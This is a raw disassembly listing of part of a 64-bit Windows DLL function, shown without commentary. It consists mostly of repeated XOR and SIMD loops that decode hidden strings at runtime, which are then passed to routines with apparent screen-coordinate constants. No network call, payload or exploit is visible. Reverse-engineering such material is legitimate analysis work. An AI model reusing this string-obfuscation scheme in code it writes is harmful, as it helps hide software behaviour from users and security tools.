xor byte [rbp + 0x6a], 0x38
xor r8d, r8d
xor byte [rbp + 0x6b], 0x39
mov byte [rbp + 0x6c], al
mov dword [rbp + 0x7e0], 0x43a50000
mov dword [rbp + 0x7e4], 0x4405c000
mov byte [rbp + 0x68], Ordinal_79
call fcn.18000fcc0
cmp byte [0x1801c3c45], r14b
mov eax, dword [0x1801c3c40]
movsd xmm0, qword [0x1801c3c38]
mov dword [rbp + 0x19e8], eax
movzx eax, word [0x1801c3c44]
mov word [rbp + 0x19ec], ax
mov dword [rbp + 0x7e8], 0x43a00000
mov dword [rbp + 0x7ec], 0x43ed8000
movsd qword [rbp + 0x19e0], xmm0
je 0x18009a6f4
mov r8d, r14d
cmp r12d, 2
jl 0x18009a6ad
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3c38]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x19e0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x19e4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x19e4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x19e0]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x18009a6c0
xor r9d, r9d
lea rdx, [rbp + 0x7e8]
mov r8b, 1
lea rcx, [rbp + 0x19e0]
call fcn.180003d00
movzx eax, word [0x1801c3c58]
mov r8d, r14d
mov word [rbp + 0x23b0], ax
movzx eax, byte [0x1801c3c5a]
mov byte [rbp + 0x23b2], al
movups xmm0, xmmword [0x1801c3c48]
movups xmmword [rbp + 0x23a0], xmm0
cmp r12d, 2
jl 0x18009a85b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x23a4]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18009a760
cmp r8d, 0x13
jge 0x18009a8a4
movsxd rax, r8d
lea r9, [rbp + 0x23a0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x18009a870
lea rdx, [0x1802490f8]
lea rcx, [rbp + 0x23a0]
call fcn.1800032d0
mov eax, dword [0x1801c3c70]
mov r8d, r14d
mov dword [rbp + 0x24b8], eax
movzx eax, byte [0x1801c3c74]
mov byte [rbp + 0x24bc], al
movups xmm0, xmmword [0x1801c3c60]
movups xmmword [rbp + 0x24a8], xmm0
cmp r12d, 2
jl 0x18009a9fb
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x24ac]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18009a900
cmp r8d, 0x15
jge 0x18009aa44
movsxd rax, r8d
lea r9, [rbp + 0x24a8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x18009aa10
lea rdx, [0x1802490e3]
lea rcx, [rbp + 0x24a8]
call fcn.1800032d0
call fcn.180006c20
call fcn.180013d50
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0x7f0]
addss xmm0, xmm7
mov dword [rbp + 0x7f0], 0x44070000
movss dword [rbp + 0x7f4], xmm0
call fcn.180025700
movzx ecx, word [0x1801c3c7c]
lea rdx, [rbp + 0x7f8]
mov eax, dword [0x1801c3c78]
mov r9d, 8
mov dword [rbp + 0x288], eax
xor r8d, r8d
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x289], 0x37
xor al, 0x3c
xor byte [rbp + 0x28a], 0x38
xor byte [rbp + 0x28b], 0x39
mov word [rbp + 0x28c], cx
xor cl, 0x3a
xor byte [rbp + 0x28d], 0x3b
mov byte [rbp + 0x28c], cl
lea rcx, [rbp + 0x288]
mov dword [rbp + 0x7f8], 0x43a00000
mov dword [rbp + 0x7fc], 0x4405c000
mov byte [rbp + 0x288], Ordinal_79
mov byte [rbp + 0x28e], al
call fcn.18000fcc0
movzx eax, byte [0x1801c3c88]
lea rdx, [rbp + 0x800]
movsd xmm0, qword [0x1801c3c80]
lea rcx, [rbp + 0xd38]
movsd qword [rbp + 0xd38], xmm0
xor al, 0x3e
xor byte [rbp + 0xd39], 0x37
xor r9d, r9d
xor byte [rbp + 0xd3a], 0x38
mov r8b, 1
xor byte [rbp + 0xd3b], 0x39
xor byte [rbp + 0xd3c], 0x3a
xor byte [rbp + 0xd3d], 0x3b
xor byte [rbp + 0xd3e], 0x3c
xor byte [rbp + 0xd3f], 0x3d
mov byte [rbp + 0xd40], al
mov dword [rbp + 0x800], 0x43a00000
mov dword [rbp + 0x804], 0x43ed8000
mov byte [rbp + 0xd38], 0x53
call fcn.180003d00
mov eax, dword [0x1801c3c98]
mov r8d, r14d
movsd xmm0, qword [str.eVNeHRS_5B]
mov dword [rbp + 0x1888], eax
movzx eax, byte [0x1801c3c9c]
mov byte [rbp + 0x188c], al
movsd qword [rbp + 0x1880], xmm0
cmp r12d, 2
jl 0x18009acb7
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.eVNeHRS_5B]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1880], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1884]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1884], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1880]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x18009acd0
mov dword [rsp + 0x28], r14d
lea rdx, reloc.WS2_32.dll_accept
mov r9d, reloc.WLDAP32.dll_Ordinal_50
mov qword [rsp + 0x20], rbx
mov r8d, 1
lea rcx, [rbp + 0x1880]
call fcn.180008ec0
movups xmm0, xmmword [str.tBTU_O]
movups xmmword [rbp + 0x1db0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x18009aea4
cmp r12d, 2
jl 0x18009ae65
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1db4]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x18009ad70
jmp 0x18009aea4
lea r9, [rbp + 0x1db0]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x18009ae70
mov r9d, 5
lea rdx, reloc.WS2_32.dll_accept
lea rcx, [rbp + 0x1db0]
mov dword [rsp + 0x28], r14d
mov r8d, 1
mov qword [rsp + 0x20], rbx
call fcn.180008ec0
call fcn.180006c20
call fcn.180013d50
cmp dword [0x18024dbf8], 2
jne 0x18009dab4
cmp dword [0x18024dbfc], r14d
movss xmm6, dword [0x1801c6dc0]
jne 0x18009c3a6
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0x808]
addss xmm0, xmm7
mov dword [rbp + 0x808], 0x43520000
movss dword [rbp + 0x80c], xmm0
call fcn.180025700
mov eax, dword [0x1801c3cb0]
lea rdx, [rbp + 0x810]
mov dword [rbp + 0x70], eax
lea rcx, [rbp + 0x70]
movzx eax, byte [0x1801c3cb4]
mov r9d, 8
xor byte [rbp + 0x71], 0x37
xor al, 0x3a
xor byte [rbp + 0x72], 0x38
xor r8d, r8d
xor byte [rbp + 0x73], 0x39
mov byte [rbp + 0x74], al
mov dword [rbp + 0x810], 0x43a50000
mov dword [rbp + 0x814], 0x4405c000
mov byte [rbp + 0x70], Ordinal_79
call fcn.18000fcc0
movzx ecx, word [0x1801c3cbc]
lea rdx, [rbp + 0x818]
mov eax, dword [0x1801c3cb8]
xor r9d, r9d
mov dword [rbp + 0x300], eax
mov r8b, 1
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x301], 0x37
xor al, 0x3c
xor byte [rbp + 0x302], 0x38
xor byte [rbp + 0x303], 0x39
mov word [rbp + 0x304], cx
xor cl, 0x3a
xor byte [rbp + 0x305], 0x3b
mov byte [rbp + 0x304], cl
lea rcx, [rbp + 0x300]
mov dword [rbp + 0x818], 0x43a00000
mov dword [rbp + 0x81c], 0x43ed8000
mov byte [rbp + 0x300], 0x41
mov byte [rbp + 0x306], al
call fcn.180003d00
movzx ecx, word [0x1801c3cc4]
lea rdx, [0x180249135]
mov eax, dword [str.wU_UO_]
mov dword [rbp + 0x298], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x299], 0x37
xor al, 0x3c
xor byte [rbp + 0x29a], 0x38
xor byte [rbp + 0x29b], 0x39
mov word [rbp + 0x29c], cx
xor cl, 0x3a
xor byte [rbp + 0x29d], 0x3b
mov byte [rbp + 0x29c], cl
lea rcx, [rbp + 0x298]
mov byte [rbp + 0x298], 0x41
mov byte [rbp + 0x29e], al
call fcn.1800032d0
cmp byte [reloc.WS2_32.dll_gethostname], r14b
mov eax, dword [str.pxn9]
mov dword [rbp - 0x54], eax
je 0x18009b124
cmp r12d, 2
jl 0x18009b0e4
movdqa xmm1, xmm15
movdqa xmm0, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm13
xorps xmm1, xmm0
movd dword [rbp - 0x54], xmm1
jmp 0x18009b124
lea r9, [rbp - 0x54]
mov r8d, r14d
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x18009b0f0
lea rdx, [rbp - 0x54]
lea rcx, [rbp + 0x2c50]
call fcn.1800635b0
mov rcx, rax
lea r8, [0x180249138]
lea rdx, [0x180249164]
call fcn.18006f530
cmp byte [0x1801c3cdd], r14b
mov eax, dword [0x1801c3cd8]
movsd xmm0, qword [str.__NJTNI]
mov dword [rbp + 0x1958], eax
movzx eax, word [0x1801c3cdc]
mov word [rbp + 0x195c], ax
movsd qword [rbp + 0x1950], xmm0
je 0x18009b2c4
mov r8d, r14d
cmp r12d, 2
jl 0x18009b27b
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.__NJTNI]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1950], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1954]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1954], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1950]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x18009b290
lea rdx, [0x180249136]
lea rcx, [rbp + 0x1950]
call fcn.1800032d0
mov eax, dword [0x1801c3ce8]
mov r8d, r14d
movsd xmm0, qword [0x1801c3ce0]
mov dword [rbp + 0x1898], eax
movzx eax, byte [0x1801c3cec]
mov byte [rbp + 0x189c], al
movsd qword [rbp + 0x1890], xmm0
cmp r12d, 2
jl 0x18009b3fa
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3ce0]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1890], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1894]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1894], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1890]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x18009b410
lea rdx, [0x180249137]
lea rcx, [rbp + 0x1890]
call fcn.1800032d0
movzx ecx, word [0x1801c3cf8]
lea rdx, [0x180249024]
movzx eax, byte [0x1801c3cfa]
movsd xmm0, qword [0x1801c3cf0]
xor al, 0x40
movsd qword [rbp + 0x1418], xmm0
xor byte [rbp + 0x1419], 0x37
xor byte [rbp + 0x141a], 0x38
xor byte [rbp + 0x141b], 0x39
xor byte [rbp + 0x141c], 0x3a
xor byte [rbp + 0x141d], 0x3b
xor byte [rbp + 0x141e], 0x3c
xor byte [rbp + 0x141f], 0x3d
mov word [rbp + 0x1420], cx
xor cl, 0x3e
xor byte [rbp + 0x1421], 0x3f
mov byte [rbp + 0x1420], cl
lea rcx, [rbp + 0x1418]
mov byte [rbp + 0x1418], 0x54
mov byte [rbp + 0x1422], al
call fcn.1800032d0
call fcn.180006c20
call fcn.180013d50
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0x820]
addss xmm0, xmm7
mov dword [rbp + 0x820], 0x44070000
movss dword [rbp + 0x824], xmm0
call fcn.180025700
movzx ecx, word [0x1801c3d00]
lea rdx, [rbp + 0x828]
mov eax, dword [0x1801c3cfc]
mov r9d, 8
mov dword [rbp + 0x2a0], eax
xor r8d, r8d
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x2a1], 0x37
xor al, 0x3c
xor byte [rbp + 0x2a2], 0x38
xor byte [rbp + 0x2a3], 0x39
mov word [rbp + 0x2a4], cx
xor cl, 0x3a
xor byte [rbp + 0x2a5], 0x3b
mov byte [rbp + 0x2a4], cl
lea rcx, [rbp + 0x2a0]
mov dword [rbp + 0x828], 0x43a00000
mov dword [rbp + 0x82c], 0x4405c000
mov byte [rbp + 0x2a0], Ordinal_79
mov byte [rbp + 0x2a6], al
call fcn.18000fcc0
cmp byte [0x1801c3d11], r14b
movsd xmm0, qword [0x1801c3d08]
movzx eax, word [0x1801c3d10]
movsd qword [rbp + 0xfb8], xmm0
mov word [rbp + 0xfc0], ax
mov dword [rbp + 0x830], 0x43a00000
mov dword [rbp + 0x834], 0x433e0000
je 0x18009b619
xor byte [rbp + 0xfb9], 0x37
xor byte [rbp + 0xfba], 0x38
xor byte [rbp + 0xfbb], 0x39
xor byte [rbp + 0xfbc], 0x3a
xor byte [rbp + 0xfbd], 0x3b
xor byte [rbp + 0xfbe], 0x3c
xor byte [rbp + 0xfbf], 0x3d
xor byte [rbp + 0xfc0], 0x3e
xor byte [rbp + 0xfc1], 0x3f
mov byte [rbp + 0xfb8], 0x46
xor r9d, r9d
lea rdx, [rbp + 0x830]
mov r8b, 1
lea rcx, [rbp + 0xfb8]
call fcn.180003d00
cmp byte [0x180249137], r14b
jne 0x18009b682
mov eax, dword [0x1801c3d14]
lea r8, str.Head
mov dword [rbp + 0x78], eax
lea rdx, [0x18020c808]
movzx eax, byte [0x1801c3d18]
lea rcx, [rbp + 0x78]
xor byte [rbp + 0x79], 0x37
xor al, 0x3a
xor byte [rbp + 0x7a], 0x38
mov r9d, 3
xor byte [rbp + 0x7b], 0x39
mov byte [rbp + 0x7c], al
mov byte [rbp + 0x78], 0x42
mov dword [rsp + 0x20], r13d
call fcn.180006bf0
movzx eax, word [0x1801c3d28]
lea rdx, [0x180249158]
movsd xmm0, qword [0x1801c3d20]
lea rcx, [rbp + 0x1428]
movsd qword [rbp + 0x1428], xmm0
xor byte [rbp + 0x1429], 0x37
xor byte [rbp + 0x142a], 0x38
xor byte [rbp + 0x142b], 0x39
xor byte [rbp + 0x142c], 0x3a
xor byte [rbp + 0x142d], 0x3b
xor byte [rbp + 0x142e], 0x3c
xor byte [rbp + 0x142f], 0x3d
mov word [rbp + 0x1430], ax
movzx eax, byte [0x1801c3d2a]
xor byte [rbp + 0x1430], 0x3e
xor al, 0x40
xor byte [rbp + 0x1431], 0x3f
mov byte [rbp + 0x1432], al
mov byte [rbp + 0x1428], 0x54
call fcn.1800032d0
cmp byte [0x1801c3d3d], r14b
mov eax, dword [0x1801c3d38]
movsd xmm0, qword [0x1801c3d30]
mov dword [rbp + 0x19f8], eax
movzx eax, word [0x1801c3d3c]
mov word [rbp + 0x19fc], ax
movsd qword [rbp + 0x19f0], xmm0
je 0x18009b884
mov r8d, r14d
cmp r12d, 2
jl 0x18009b839
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3d30]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x19f0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x19f4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x19f4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x19f0]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x18009b850
lea rdx, reloc.WS2_32.dll_accept
lea rcx, [rbp + 0x19f0]
call fcn.1800032d0
cmp byte [0x1801c3d4d], r14b
mov eax, dword [0x1801c3d48]
movsd xmm0, qword [0x1801c3d40]
mov dword [rbp + 0x1a08], eax
movzx eax, word [0x1801c3d4c]
mov word [rbp + 0x1a0c], ax
movsd qword [rbp + 0x1a00], xmm0
je 0x18009ba14
mov r8d, r14d
cmp r12d, 2
jl 0x18009b9c8
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3d40]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1a00], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
